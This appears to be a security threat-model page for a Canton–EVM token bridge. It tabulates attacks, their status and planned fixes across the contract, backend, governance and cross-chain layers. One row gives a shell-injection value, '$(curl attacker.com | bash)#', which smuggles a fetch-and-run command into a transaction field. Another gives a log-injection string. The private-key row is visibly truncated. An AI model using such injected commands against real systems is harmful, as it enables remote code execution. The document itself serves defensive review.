| EVM reorg reverts the burn transaction after Canton escrow is released | Residual | The server.js bridge-out path waits for only 1 EVM block confirmation via cast receipt before proceeding to collect signatures and submit VerifiedBridgeOut on Canton. On a sequence… | |
|
Submit a bridge-out; wait for 1-block confirmation on EVM; Canton releases escrow; EVM reorg reverts the burn — user now holds both Canton tokens and EVM tokens The server.js bridge-out path waits for only 1 EVM block confirmation via cast receipt before proceeding to collect signatures and submit VerifiedBridgeOut on Canton. On a sequencer chain like Zenith, finality is typically instant (the sequencer is the block producer and reorgs are not possible without sequencer compromise). The planned hardening documents the Zenith finality assumption explicitly and adds a configurable FINALITY_CONFIRMATIONS check. The definitive fix is to embed the EVM burn inside the VerifiedBridgeOut Canton transaction using ZenithVB DelegatedApplyTransactionWithReceipt — this is the atomic path that eliminates the reorg surface entirely by making both legs a single Canton transaction.
|
|||
Canton Authorization Bypass
Attacks targeting the Daml smart contract layer on Canton: authorization gaps, choice access control, and governance flow vulnerabilities.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Pass a mismatched addressMappingCid in BridgeIn to redirect EVM mint to attacker address | Partial | This vulnerability (rt2-bugs-1 HIGH-1) is on the Wave 4 fix list. Currently BridgeIn fetches the addressMappingCid and uses mapping.evmAddress as the EVM recipient without assertin… | |
|
A compromised BridgeOperator exercises BridgeIn but passes an AddressMapping belonging to a different party (or the attacker), routing the minted EVM tokens to an attacker-controlled address while the legitimate user's Canton tokens are locked in escrow This vulnerability (rt2-bugs-1 HIGH-1) is on the Wave 4 fix list. Currently BridgeIn fetches the addressMappingCid and uses mapping.evmAddress as the EVM recipient without asserting that mapping.cantonParty == allocation.owner. The planned fix adds: assertMsg 'Address mapping must be for allocation owner' (mapping.cantonParty == allocation.owner). This check prevents the admin from routing any allocation's EVM proceeds to an address mapping belonging to a different party. Defense-in-depth: the coordinator.verifyBridgeInIntent() cross-checks the intent.recipient against the Canton ACS before forwarding to validators, so a compromised coordinator would also need to bypass this off-chain check. high — see known_residual_risks: bridgein-addressmappingcid-not-validated
|
|||
| ApplyTransactionWithReceipt hardcodes success=True — failed EVM burns release Canton escrow | Partial | This is rt2-bugs-1 CRIT-1 and is the most severe Daml-layer finding. The externalCall primitive currently returns only a Text (new state root), not a structured receipt with a succ… | |
|
Submit a VerifiedBridgeOut where the embedded EVM burn transaction fails; because success is hardcoded to True, the Canton escrow is released anyway — recipient gets Canton tokens without burning EVM tokens This is rt2-bugs-1 CRIT-1 and is the most severe Daml-layer finding. The externalCall primitive currently returns only a Text (new state root), not a structured receipt with a success flag. ApplyTransactionWithReceipt hardcodes success=True and logs=[] because real receipt parsing is not yet implemented. The fix in SECURITY.md proposes a failure sentinel: define a protocol where a failed EVM execution returns a state root with a specific error prefix, and validate the absence of that prefix before proceeding. Until the ZenithVB layer delivers structured receipts, the assertMsg 'EVM execution failed' receipt.success check in Bridge.daml:435 and :637 is a stub. The supply parity monitor is the current compensating detective control. critical — see known_residual_risks: applytransactionwithreceipt-hardcodes-success-true
|
|||
| Single validator calls MigrateRemoveValidator to remove any other validator without governance vote | Partial | This is rt2-bugs-1 HIGH-2. MigrateRemoveValidator in ZenithVB.daml requires only that executor is a current validator — no governance proposal, no threshold vote. Compare to Execut… | |
|
As a single rogue validator on ZenithVBState, call MigrateRemoveValidator(targetValidator=honest_validator) without a governance proposal or threshold vote, undermining the M-of-N security model for VB state transitions This is rt2-bugs-1 HIGH-2. MigrateRemoveValidator in ZenithVB.daml requires only that executor is a current validator — no governance proposal, no threshold vote. Compare to ExecuteRemoveValidator in Governance.daml which requires a Proposal with length votes >= config.threshold. The planned fix adds a proposalCid parameter to MigrateRemoveValidator and validates it carries threshold approval, mirroring the governance flow. Until this fix lands, the operational control is limiting VB state migration to controlled deployment windows, and the Canton topology layer (requiring M-of-N Canton party signatures for VB state transactions) provides a secondary barrier — but topology misconfiguration would remove this protection. high — see known_residual_risks: migrateremovevalidator-bypasses-governance
|
|||
| WithdrawGovernanceProposal control bug: last acceptor gains withdrawal rights instead of initiator | Partial | This is rt2-bugs-1 HIGH-3. AcceptGovernance prepends new acceptors to acceptedBy using :: (prepend, not append), so acceptedBy.head is the last-accepting validator, not the initiat… | |
|
Accept a governance proposal last, then immediately call WithdrawGovernanceProposal to cancel it, denying other validators' accumulated approvals and disrupting governance This is rt2-bugs-1 HIGH-3. AcceptGovernance prepends new acceptors to acceptedBy using :: (prepend, not append), so acceptedBy.head is the last-accepting validator, not the initiator. WithdrawGovernanceProposal checks case acceptedBy of (x :: _) -> withdrawer == x, which verifies against the last acceptor rather than the initiator. The identical bug exists in ZenithVB.daml WithdrawVBProposal. The fix changes :: to ++ so the list grows in append order and head always remains the initiator. Until fixed, the practical exploitation window requires the attacker to be a legitimate validator who accepts the proposal strategically. medium — governance liveness disruption only, no direct fund theft
|
|||
| MintCap in AssetConfig never enforced — bridge unlimited amounts per operation | Partial | AssetConfig declares mintCap : Optional Int but BridgeIn at Bridge.daml lines 380-454 fetches the asset config and never checks mintCap. The field is silently ignored. This is rt2-… | |
|
Bridge more than the configured per-asset mintCap in a single BridgeIn, bypassing the intended per-operation limit AssetConfig declares mintCap : Optional Int but BridgeIn at Bridge.daml lines 380-454 fetches the asset config and never checks mintCap. The field is silently ignored. This is rt2-bugs-1 MED-1. The planned fix adds a case asset.mintCap of Some cap -> assertMsg 'Mint cap exceeded' (allocation.amount <= cap). Until fixed, the operational control is that the BridgeOperator (who exercises BridgeIn) would refuse to process allocations above policy limits, and the supply parity monitor catches any anomalous large mints. A per-operation cap is weaker than a cumulative cap; the latter requires an on-chain running total. medium
|
|||
| Canton admin key compromise: SetGlobalPause, address mapping hijack, force-cancel operations | Partial | The Canton admin party key is the root of trust for Canton-side governance with no equivalent to the EVM's 48h TimelockController or Safe multisig. A compromised admin key can call… | |
|
Compromise the Canton admin party key to instantly pause the bridge, delete and recreate address mappings to redirect bridge-in proceeds, and force-cancel user operations without consent The Canton admin party key is the root of trust for Canton-side governance with no equivalent to the EVM's 48h TimelockController or Safe multisig. A compromised admin key can call SetGlobalPause immediately with no delay. The planned fix implements M-of-N governance for Canton admin actions via a BridgeAdminProposal pattern, and requires user co-signing on RemoveMapping to prevent silent address hijacks. Until migration, the key is held in HSM (KMS) with access limited to on-call operators, and the external party migration (BRIDGE_OPERATOR_EXTERNAL=true) distributes the BridgeOperator signing across validators, decoupling escrow custody from the single admin key. high — see known_residual_risks: single-canton-admin-key
|
|||
| Allocation orphan: user creates an Allocation that BridgeOperator never processes, with no escape hatch | Partial | This is rt2-bugs-4 FIND-6. A user who allocates (CIP-56 lock with beneficiary=BridgeOperator) has no user-exercisable cancel choice on the resulting Allocation contract. Only the B… | |
|
Lock a user's funds indefinitely by ensuring BridgeIn is never called for their pending Allocation — the user has no Daml choice to cancel a pre-BridgeIn Allocation This is rt2-bugs-4 FIND-6. A user who allocates (CIP-56 lock with beneficiary=BridgeOperator) has no user-exercisable cancel choice on the resulting Allocation contract. Only the BridgeOperator can cancel the allocation. If the bridge is paused, the coordinator offline, or the admin unresponsive, the allocation is stranded with no user recourse. The planned fix adds a CancelAllocation choice controlled by cantonParty with an appropriate timeout, matching the escrow expiry model for post-BridgeIn operations. Operationally, the bridge-in flow is automated and the coordinator processes allocations within seconds; the risk manifests only during extended outages. high — see known_residual_risks: allocation-orphan-no-user-escape
|
|||
Availability & Denial of Service
Attacks targeting bridge liveness: halting signing, crashing the coordinator, starving the event loop, or exhausting external dependencies. No direct fund theft, but user funds may be temporarily locked.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| DDoS N-M+1 validator nodes to drop below signing threshold | Residual | With N=2 (current devnet), M=2, any single validator takedown halts signing — this is the weakest possible configuration and is documented as a known risk requiring validator expan… | |
|
Take (N-M+1) validators offline via DDoS or infrastructure compromise, making threshold signing impossible and halting all bridge operations With N=2 (current devnet), M=2, any single validator takedown halts signing — this is the weakest possible configuration and is documented as a known risk requiring validator expansion before production. The planned production configuration of N≥5 with M=3 means an attacker must simultaneously take down N-M+1 = 3 geographically and infrastructure-diverse nodes. No retry loop currently exists in collectSignatures; a single failed fan-out returns ThresholdNotMet. Users are protected by the 1-hour escrow expiry auto-refund; funds are never permanently lost, only temporarily locked during the outage. The planned per-validator health monitoring surfaces unreachable validators to operators who can activate hot standbys.
|
|||
| Compromise PAUSER_ROLE key to force a guaranteed 48-hour bridge outage | Partial | This asymmetry is a known design tradeoff (rt2-avail-1 F5, rt2-bugs-2 F-01). pause() requires one PAUSER_ROLE holder; unpause() requires owner → TimelockController → 48h delay. The… | |
|
Compromise a single PAUSER_ROLE key holder and call BridgeVault.pause(), halting all executeMint operations for at least 48 hours (minimum TimeController delay for unpause) This asymmetry is a known design tradeoff (rt2-avail-1 F5, rt2-bugs-2 F-01). pause() requires one PAUSER_ROLE holder; unpause() requires owner → TimelockController → 48h delay. The planned fix requires M-of-N (e.g., 2-of-3) PAUSER_ROLE signatures to pause, or allows Safe multisig to unpause directly without timelock delay. PAUSER_ROLE holders are limited to on-call engineers with keys stored in hardware tokens; the list is audited quarterly. No user funds are permanently lost during a pause — bridge operations queue and resume after unpause; escrow expiry auto-refunds users after 1 hour. high — forced 48h outage via single compromised PAUSER_ROLE key
|
|||
| Crash the coordinator via unbounded HTTP response from a Byzantine validator | Partial | coordinator.js postJson accumulates the response body without a size limit: res.on('data', (chunk) => { data += chunk; }). A 1 GB response from one validator, multiplied by N paral… | |
|
Configure a Byzantine validator to return a 1 GB response body to POST /api/sign-settlement-intent; with N parallel requests, crash the coordinator via OOM coordinator.js postJson accumulates the response body without a size limit: res.on('data', (chunk) => { data += chunk; }). A 1 GB response from one validator, multiplied by N parallel validators, can exhaust coordinator memory. The planned fix adds a MAX_RESPONSE_BYTES guard (64 KB) that destroys the request if the limit is exceeded. This fix applies to both coordinator.js and bridge-operator-coordinator.js. The mTLS layer ensures only authenticated validators can participate in this attack, limiting the threat surface to compromised validator nodes rather than arbitrary internet actors. A process supervisor with restart-on-OOM limits downtime to seconds; the supply parity monitor surfaces any double-mint that results from the restart. high — OOM crash possible until response size cap is deployed
|
|||
| AML/Sanctions screener outage halts all bridge operations | Partial | The current implementation has no timeout, no retry, and no circuit breaker on the AML screener fetch call. An attacker who can control or slow the external API can halt 100% of br… | |
|
Cause an outage or slow-response attack on the Chainalysis/Elliptic API endpoint, grinding bridge throughput to zero as all operations hang waiting for screening results The current implementation has no timeout, no retry, and no circuit breaker on the AML screener fetch call. An attacker who can control or slow the external API can halt 100% of bridge operations. The planned fix adds: 5-second AbortSignal.timeout on all fetch calls; circuit breaker that opens after N consecutive failures; 1-hour result cache for recently-screened addresses; and configurable fail-open mode with mandatory alerting. In fail-open mode, bridge operations proceed but every screened address is flagged for post-hoc review. This is a documented residual risk in production until the resilience layer is deployed. high — external API dependency is beyond bridge operator's control
|
|||
| Delete or corrupt the validator SQLite nonce store to destroy replay protection | Residual | Nonce counter reset to 0 allows old nonces to be reused. However, BridgeVault.usedIntents is the canonical replay protection: even if a validator signs a recycled nonce, the EVM wi… | |
|
Delete or truncate the NONCE_DB_PATH SQLite database on a validator node; nonce counter resets to 0, allowing previously-signed nonces to re-enter the available pool Nonce counter reset to 0 allows old nonces to be reused. However, BridgeVault.usedIntents is the canonical replay protection: even if a validator signs a recycled nonce, the EVM will reject any intentId it has already executed. The nonce store is a belt-and-suspenders validator-side guard, not the primary defense. File deletion requires local system access — an attacker who can delete the nonce store has compromised the validator host, at which point they also have the signing key (a more direct attack). Startup integrity assertion (planned) detects corruption and refuses to start rather than silently operating with degraded replay protection.
|
|||
| Canton JWT expiry causes silent failure of all Canton operations mid-deployment | Partial | CANTON_JWT is read once at startup and never refreshed (rt2-bugs-3 VULN-07). A 24h JWT expires during long-running deployments, causing silent failures of all CantonWatcher polls a… | |
|
Wait for the CANTON_JWT to expire (typically 24h); all Canton HTTP API calls fail with 401; bridge operations silently fail without alerting operators CANTON_JWT is read once at startup and never refreshed (rt2-bugs-3 VULN-07). A 24h JWT expires during long-running deployments, causing silent failures of all CantonWatcher polls and submitCommands calls. In-flight operations at expiry time are silently abandoned. The planned fix decodes the JWT exp claim at startup, logs the remaining TTL, alerts when within 10% of expiry, and implements automatic refresh from a service account credentials endpoint. Until deployed, the operational control is a deployment runbook that explicitly rotates JWTs before each deployment and monitors auth error rates in the structured log output. high — long-running deployments will experience JWT expiry without refresh logic
|
|||
| execSync calls block the Node.js event loop, making the coordinator appear frozen | Partial | Multiple admin and bridge endpoints call execSync (rt2-avail-4 Finding 8): server.js:127 cantonQueryRaw, server.js:165 signMintTx, server.js:173 signBurnTx, server.js:436 cast publ… | |
|
Trigger concurrent calls to admin endpoints that invoke execSync(canton-exec), causing the entire event loop to freeze for up to 60 seconds per call; CantonWatcher polling stops; bridge appears hung Multiple admin and bridge endpoints call execSync (rt2-avail-4 Finding 8): server.js:127 cantonQueryRaw, server.js:165 signMintTx, server.js:173 signBurnTx, server.js:436 cast publish. Under concurrency, these serialize and can freeze the event loop for minutes. The planned fix replaces all execSync calls with async execFile equivalents and adds rate limiting to all /api/admin/* endpoints. The admin endpoint rate limiter is currently applied only to bridge endpoints. A process supervisor with liveness probes (planned) detects a frozen event loop and restarts the coordinator. ADMIN_API_KEY authentication gates who can trigger these calls. high — until execSync is replaced, concurrent admin calls can freeze the bridge
|
|||
Smart Contract Exploits
Solidity-layer vulnerabilities in BridgeVault.sol and BridgedToken.sol. The EVM smart contracts have been audited by the RT2 team; findings are documented here with mitigations.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Bypass token upgrade governance by exploiting non-enforced UpgradeableBeacon ownership | Partial | SECURITY.md specifies 'UpgradeableBeacon ownership → TimelockController (proposed by Safe multisig)' but this is a deployment convention, not an on-chain enforcement (rt2-bugs-2 F-… | |
|
If the UpgradeableBeacon was deployed with an EOA as owner (misconfiguration), compromise that EOA to instantly upgrade all BridgedToken proxies to a malicious implementation that mints unlimited tokens to the attacker SECURITY.md specifies 'UpgradeableBeacon ownership → TimelockController (proposed by Safe multisig)' but this is a deployment convention, not an on-chain enforcement (rt2-bugs-2 F-05). BridgedTokenV1 itself has no knowledge of its beacon or whether the beacon is owned by the TimelockController. The planned fix is a deployment verification script that asserts beacon.owner() == address(timelockController) and fails the deployment pipeline if not. This check is added to the production readiness checklist. Additionally, the TimelockController 48h delay means even a legitimately proposed beacon upgrade has a 48-hour public review window during which anomalous proposals can be detected and Safe multisig signers can refuse to execute. medium — relies on deployment convention, not on-chain enforcement
|
|||
| Exploit UUPS upgradeToAndCall on BeaconProxy to create a misleading upgrade state | Mitigated | BeaconProxy reads implementation from _BEACON_SLOT, not _IMPLEMENTATION_SLOT (rt2-bugs-2 F-04). An upgradeToAndCall call on a BeaconProxy instance succeeds at the UUPS layer (write… | |
|
Call upgradeToAndCall on a BridgedToken BeaconProxy with a malicious implementation address; because UUPS writes to _IMPLEMENTATION_SLOT but BeaconProxy reads from _BEACON_SLOT, the proxy continues using the old implementation — creating audit trail confusion BeaconProxy reads implementation from _BEACON_SLOT, not _IMPLEMENTATION_SLOT (rt2-bugs-2 F-04). An upgradeToAndCall call on a BeaconProxy instance succeeds at the UUPS layer (writes to _IMPLEMENTATION_SLOT) but is a no-op for the proxy — it continues using the beacon's implementation. The call requires owner authorization (TimelockController + 48h delay + Safe multisig), so an attacker cannot perform this without full governance compromise. The concern is operational confusion: an operator believing they upgraded an individual proxy when they did not. The planned fix documents this behavior explicitly in contract comments and adds a test confirming the BeaconProxy ignores _IMPLEMENTATION_SLOT writes.
|
|||
| Call transferMintAuthority with an EOA address to permanently surrender mint rights | Partial | transferMintAuthority only validates newVault != address(0) (rt2-bugs-2 F-06). If passed an EOA, setMinter transfers bridgeMinter to that EOA, which can then call mint() directly o… | |
|
If TimelockController governance is compromised or a malicious proposal is executed, transfer mint authority to an EOA private key or a malicious contract — permanently bypassing the M-of-N BridgeVault threshold for all future mints transferMintAuthority only validates newVault != address(0) (rt2-bugs-2 F-06). If passed an EOA, setMinter transfers bridgeMinter to that EOA, which can then call mint() directly on BridgedToken, bypassing all BridgeVault threshold checks. Exploiting this requires: Safe multisig threshold approval + TimelockController 48h delay + manual execution. The 48h timelock provides a public window for Safe signers to inspect and veto malicious proposals. The planned fix adds newVault.code.length > 0 (reject EOAs) and optionally a view call to verify the new contract exposes the expected BridgeVault interface (threshold > 0, validatorCount > 0).
|
|||
| Exploit an incorrect ERC-7201 storage slot constant to corrupt BridgedToken state | Partial | The ERC-7201 storage slot 0x56bdb6fbf1a3bacf0040ca766b8a1abdf6d98f2e440decd7500fa2ee92202f00 is computed from keccak256(abi.encode(uint256(keccak256('bridge.BridgedToken')) - 1)) &… | |
|
If the hardcoded BRIDGED_TOKEN_STORAGE_LOCATION constant in BridgedToken.sol is wrong, mint() calls would be permitted for the wrong minter address due to overlapping storage slots, allowing unauthorized minting The ERC-7201 storage slot 0x56bdb6fbf1a3bacf0040ca766b8a1abdf6d98f2e440decd7500fa2ee92202f00 is computed from keccak256(abi.encode(uint256(keccak256('bridge.BridgedToken')) - 1)) & ~bytes32(uint256(0xff)). If this constant is correct (pending independent test verification per rt2-bugs-2 F-03), storage slots do not overlap with OpenZeppelin inherited contracts. The planned test independently computes the expected slot and asserts equality. forge inspect storage layout diff between V1 and any future V2 confirms no slot collisions. Until the test is added, the constant is assumed correct per its inline comment documenting the derivation formula; any discrepancy would cause obvious initialization failures detectable in pre-deployment testing.
|
|||
| Hard fork changes chainId; immutable DOMAIN_SEPARATOR becomes permanently invalid | Mitigated | _chainId is captured at deployment as an immutable (BridgeVault.sol:43). After a chainId-changing fork, DOMAIN_SEPARATOR permanently encodes the old chainId. All new validator sign… | |
|
After a network fork that changes chainId, all in-flight MintIntent signatures are permanently invalid on the new chain because they were signed over the old DOMAIN_SEPARATOR — bridge is silently bricked _chainId is captured at deployment as an immutable (BridgeVault.sol:43). After a chainId-changing fork, DOMAIN_SEPARATOR permanently encodes the old chainId. All new validator signatures would be signed over the new chainId (from makeIntent) but BridgeVault reconstructs the digest with the old DOMAIN_SEPARATOR — signatures fail to verify and executeMint reverts. This is a non-exploitable failure mode (no fund theft), but it requires a new BridgeVault deployment. The planned mitigation documents this assumption explicitly in SECURITY.md and adds a migration runbook. The alternative (dynamic block.chainid in executeMint digest) adds ~200 gas per call and has EIP-712 wallet compatibility tradeoffs.
|
|||
Backend & Infrastructure Attacks
Attacks against the Node.js coordinator and validator server processes: shell injection, race conditions, key exposure, and infrastructure-layer vulnerabilities.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Shell injection via user-supplied signedBurnTx in cast publish | Partial | The signedBurnTx is interpolated into a shell command via execSync (server.js:436), which uses shell=true by default. This is rt2-bugs-3 VULN-01 and is in the Wave 4 fix list. The … | |
|
POST /api/bridge/bridge-out-request with signedBurnTx containing shell metacharacters (e.g., $(curl attacker.com | bash)#) to achieve RCE on the coordinator host The signedBurnTx is interpolated into a shell command via execSync (server.js:436), which uses shell=true by default. This is rt2-bugs-3 VULN-01 and is in the Wave 4 fix list. The current protection is the BRIDGE_API_KEY authentication gate — exploiting this requires a valid API key. The planned fix validates signedBurnTx against /^(0x)?[0-9a-fA-F]+$/ before use and replaces execSync with execFile using explicit argument arrays (no shell interpolation). A compromised API key combined with this vulnerability is equivalent to remote code execution on the coordinator host, which is a critical infrastructure compromise. The mitigation priority is high. critical — RCE for any caller with BRIDGE_API_KEY; see known_residual_risks: shell-injection-cast-publish
|
|||
| TOCTOU race in validator nonce replay check: two concurrent requests with the same nonce both get valid signatures | Partial | Node.js is single-threaded but await suspends the event loop between isUsed() and markUsed() (rt2-bugs-3 VULN-02). Two concurrent requests with the same nonce both pass the isUsed(… | |
|
Send two concurrent POST /api/sign-settlement-intent requests with the same nonce; both pass the isUsed() check before either reaches markUsed(), both receive valid signatures — enabling two valid sig bundles for the same nonce Node.js is single-threaded but await suspends the event loop between isUsed() and markUsed() (rt2-bugs-3 VULN-02). Two concurrent requests with the same nonce both pass the isUsed() check before either reaches markUsed(). The fix is to call addNonce() (which throws on duplicate via SQLite UNIQUE constraint) before the await signBytes call — this is atomic at the SQLite level because the write happens synchronously before any async suspension. The UNIQUE constraint on the nonce column in used_nonces is the actual atomic guard; isUsed() is a non-atomic read that is insufficient for pre-await gating. critical — two concurrent requests can get valid signatures; see known_residual_risks: toctou-nonce-replay
|
|||
| makeIntent in validator endpoint omits bridgeVaultAddress and chainId — all bridge-in settlements fail | Partial | This is rt2-bugs-3 VULN-03. The validator endpoint's makeIntent call at server.js:636 omits bridgeVaultAddress and chainId (both present in the coordinator's makeIntent call). The … | |
|
Exploit the fact that validator-signed intentHash does not include bridgeVaultAddress/chainId, making it different from coordinator's intentHash — coordinator discards all signatures and ThresholdNotMet halts all bridge-ins This is rt2-bugs-3 VULN-03. The validator endpoint's makeIntent call at server.js:636 omits bridgeVaultAddress and chainId (both present in the coordinator's makeIntent call). The resulting intentHash differs between coordinator and validator, so the coordinator's hash check discards every signature and bridge-in settlements fail with ThresholdNotMet. This is a functional breakage, not a security attack — no fund theft, but 100% bridge-in availability loss. The fix is trivial: extract bridgeVaultAddress and chainId from req.body and pass them to makeIntent. This has been identified as the highest-priority functional fix. critical (availability) — all bridge-in settlements currently fail with this bug present
|
|||
| EVM private key exposure in process arguments via cast mktx --private-key | Partial | server.js:165 passes BRIDGE_KEY via --private-key in a shell command string (rt2-bugs-3 VULN-05).
On Linux, command arguments are visible in /proc/ |
|
|
Read /proc/ server.js:165 passes BRIDGE_KEY via --private-key in a shell command string (rt2-bugs-3 VULN-05).
On Linux, command arguments are visible in /proc/ high — until KmsSigner is deployed, key is visible in process arguments
|
|||
| Log injection via user-controlled address in AML screener logs | Partial | sanctions-screener.js:183 logs the subject (user-supplied address) without sanitization (rt2-bugs-3 VULN-08). An attacker can inject newlines to create fake log lines that appear l… | |
|
Submit a bridge operation with an EVM address containing newline characters (e.g., 0xdead...\n[sanctions] PASS) to inject fake log entries, hiding malicious activity or poisoning SIEM rules sanctions-screener.js:183 logs the subject (user-supplied address) without sanitization (rt2-bugs-3 VULN-08). An attacker can inject newlines to create fake log lines that appear legitimate. This is a detective control integrity issue: injected logs could mask real screening failures or confuse automated alerting. The fix strips control characters from logged values using a simple regex: const safe = (s) => String(s).replace(/[\r\n\t\x00-\x1f\x7f]/g, ''). Log injection does not enable fund theft; it is a compliance and forensics integrity issue.
|
|||
| Timing oracle attack on ADMIN_API_KEY comparison | Residual | admin-routes.js:38 compares tokens with !== (rt2-bugs-3 VULN-12). JavaScript string !== is not constant-time; timing differences can in theory leak key characters. Practical exploi… | |
|
Send many requests with incrementally varying tokens; measure response times to infer ADMIN_API_KEY characters via timing side-channel admin-routes.js:38 compares tokens with !== (rt2-bugs-3 VULN-12). JavaScript string !== is not constant-time; timing differences can in theory leak key characters. Practical exploitation requires high-precision timing, many requests, and a very stable network — difficult over the internet but feasible on collocated infrastructure. The planned fix uses crypto.timingSafeEqual after padding both strings to equal length. The admin API is additionally rate-limited, bound to internal network interfaces, and requires the ADMIN_API_KEY which is not publicly distributed — the attack surface is limited to internal actors.
|
|||
| mTLS is optional: disable or absent mTLS allows coordinator-validator channel interception | Partial | mTLS is optional when cert env vars are absent (COORDINATOR_CERT_PATH, COORDINATOR_KEY_PATH, VALIDATOR_CA_CERT_PATH). In that case, a shared secret in X-Coordinator-Secret header i… | |
|
If mTLS environment variables are missing or misconfigured, the coordinator falls back to plain HTTP for validator communications; intercept the channel to inject fake signatures or observe signing requests mTLS is optional when cert env vars are absent (COORDINATOR_CERT_PATH, COORDINATOR_KEY_PATH, VALIDATOR_CA_CERT_PATH). In that case, a shared secret in X-Coordinator-Secret header is the auth mechanism. Plain HTTP allows a network-positioned attacker to observe signing requests. Certs are read once at startup with no rotation — cert expiry causes complete channel failure with no warning. The planned fix makes mTLS mandatory (process fails to start without cert env vars), adds cert expiry monitoring with 30/7-day alerts, and implements periodic cert refresh via createSecureContext() reload without restart. Additionally, rejectUnauthorized: true must be explicitly set (not left as a default that can be overridden by NODE_TLS_REJECT_UNAUTHORIZED). medium — optional mTLS in current deployment
|
|||
Governance Attacks
Attacks targeting the administrative governance layer: the EVM TimelockController + Safe multisig, Canton ValidatorConfigProposal flow, and BridgeOperator key management.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| adminApprovalThreshold=1 enables single BridgeAdmin key to unilaterally reduce validator threshold to 1 | Partial | This is rt2-avail-2 Finding 2. ValidatorConfigProposal.ensure allows required >= 1, meaning an adminApprovalThreshold of 1 is a valid deployment configuration. If deployed this way… | |
|
If adminApprovalThreshold=1 on the BridgeWorkflow, a single compromised bridgeAdmin key creates and immediately approves a ValidatorConfigProposal setting newThreshold=1 with the attacker's pubkey as the sole validator, granting unilateral signing power over all future intents This is rt2-avail-2 Finding 2. ValidatorConfigProposal.ensure allows required >= 1, meaning an adminApprovalThreshold of 1 is a valid deployment configuration. If deployed this way, a single bridgeAdmin key controls all Canton validator governance. The planned fix enforces: adminApprovalThreshold >= calculateTwoThirdsThreshold(length bridgeAdmins) at deployment time, the same BFT standard applied to validators. Additionally, any change to adminApprovalThreshold itself should require the current threshold to approve (bootstrapping protection). This is a deployment parameter validation check, not a code change — the Daml layer needs the ensure guard to prevent misconfigured deployments from being exploitable. critical — if deployed with adminApprovalThreshold=1; see known_residual_risks
|
|||
| Governance proposal spam: any validator can invalidate pending proposals by creating new ones | Residual | Governance.daml archives the current ZenithGovernance contract and creates a new one on every proposal (rt2-bugs-1 MED-5). A rogue validator who creates a new proposal invalidates … | |
|
Block a pending governance proposal by creating a new proposal on the current governance state; the pending proposal's currentConfig snapshot no longer matches and it becomes unexecutable (liveness attack) Governance.daml archives the current ZenithGovernance contract and creates a new one on every proposal (rt2-bugs-1 MED-5). A rogue validator who creates a new proposal invalidates all pending proposals. The fix allows multiple simultaneous proposals without archiving governance on each one, using a proposal counter rather than governance archival. Until fixed, this is a governance liveness attack: it can delay config changes but cannot steal funds. Users are not affected because the bridge still operates during governance disputes; only validator set changes and threshold adjustments are delayed.
|
|||
| BridgeOperator single software key compromise before external party migration | Partial | This is the highest-priority pre-migration risk (rt2-avail-1 F2). BridgeOperatorSignatureCoordinator exists and is code-complete; activating BRIDGE_OPERATOR_EXTERNAL=true distribut… | |
|
Compromise the CANTON_SIGNING_KEY (single software key) before BRIDGE_OPERATOR_EXTERNAL=true is activated, gaining unilateral control over all Canton-side bridge operations: exercising BridgeIn, VerifiedBridgeOut, and CancelBridgeIn for any escrow This is the highest-priority pre-migration risk (rt2-avail-1 F2). BridgeOperatorSignatureCoordinator exists and is code-complete; activating BRIDGE_OPERATOR_EXTERNAL=true distributes BridgeOperator signing across M-of-N validators immediately. The SECURITY.md notes this migration is pending. Until activated, CANTON_SIGNING_KEY is stored in HSM (KMS) with access controlled via IAM roles — key extraction requires both HSM bypass and IAM credential compromise. After migration, BridgeOperator operations require M-of-N Ed25519 signatures from the validator set, matching the security level of the EVM layer. critical — pre-migration single key; see known_residual_risks: bridgeoperator-single-key
|
|||
| ValidatorConfigProposal sets newThreshold=1 with N validators, silently reducing security | Partial | ProposeValidatorConfigChange validates newThreshold >= 1 and newThreshold <= length newValidatorPubKeys but does NOT enforce the BFT minimum calculateTwoThirdsThreshold(N). A propo… | |
|
Create a ValidatorConfigProposal with newThreshold=1 (minimum allowed by ensure) while keeping all N validator pubkeys; if approved, any single validator can sign future intents unilaterally ProposeValidatorConfigChange validates newThreshold >= 1 and newThreshold <= length newValidatorPubKeys but does NOT enforce the BFT minimum calculateTwoThirdsThreshold(N). A proposal setting threshold=1 with N=5 validators passes validation, and if adminApprovalThreshold approvals are obtained, executes — reducing the entire M-of-N security model to M=1. The planned fix adds an assertMsg in ProposeValidatorConfigChange and ValidatorConfigProposal.ensure enforcing the 2/3 BFT minimum. This is the Canton-side equivalent of the EVM setThreshold guard (BridgeVault.sol checks threshold > 0 but also not greater than validatorCount, though BFT minimum is not enforced there either — a complementary gap).
|
|||
Protocol-Level Attacks (Cross-Chain Atomicity)
Attacks exploiting gaps in the two-phase cross-chain atomicity protocol — where EVM and Canton state changes are not guaranteed to occur in the same atomic transaction, creating windows for orphaned states and permanent fund loss.
| Attack | Status | Why It Fails | |
|---|---|---|---|
| Bridge-out atomicity gap: EVM burn committed, Canton release fails, user loses both | Partial | The server.js bridge-out path is non-atomic (rt2-bugs-4 FIND-2): Phase 1 (EVM burn via cast publish) is submitted and confirmed before Phase 2 (Canton VerifiedBridgeOut). If Phase … | |
|
Cause the Canton VerifiedBridgeOut submission to fail after the EVM burn has already been confirmed, leaving the user with neither their EVM tokens (burned) nor their Canton tokens (escrow not released) The server.js bridge-out path is non-atomic (rt2-bugs-4 FIND-2): Phase 1 (EVM burn via cast publish) is submitted and confirmed before Phase 2 (Canton VerifiedBridgeOut). If Phase 2 fails for any reason — coordinator crash, Canton offline, intent deadline expired — the user's EVM tokens are permanently burned with no Canton recovery. The idempotency claim in SECURITY.md is false: re-POST fails because cast publish rejects the already-spent EVM nonce. The planned fix embeds the EVM burn inside the VerifiedBridgeOut Canton transaction using ZenithVB DelegatedApplyTransactionWithReceipt (same mechanism as bridge-in), making both legs atomic. Until then, the coordinator persists the bridge-out operation state and retries Phase 2 on restart. critical — non-atomic bridge-out; see known_residual_risks: bridge-out-atomicity-gap
|
|||
| Bridge-reactor CID mismatch: reactor passes BridgeOperation CID instead of BridgeEscrowHolding CID to VerifiedBridgeOut | Partial | This is rt2-bugs-4 FIND-4. bridge-reactor.js:116 sets escrowContractId = contractId (the BridgeOperation CID), but VerifiedBridgeOut asserts intentEscrowContractId == show escrowHo… | |
|
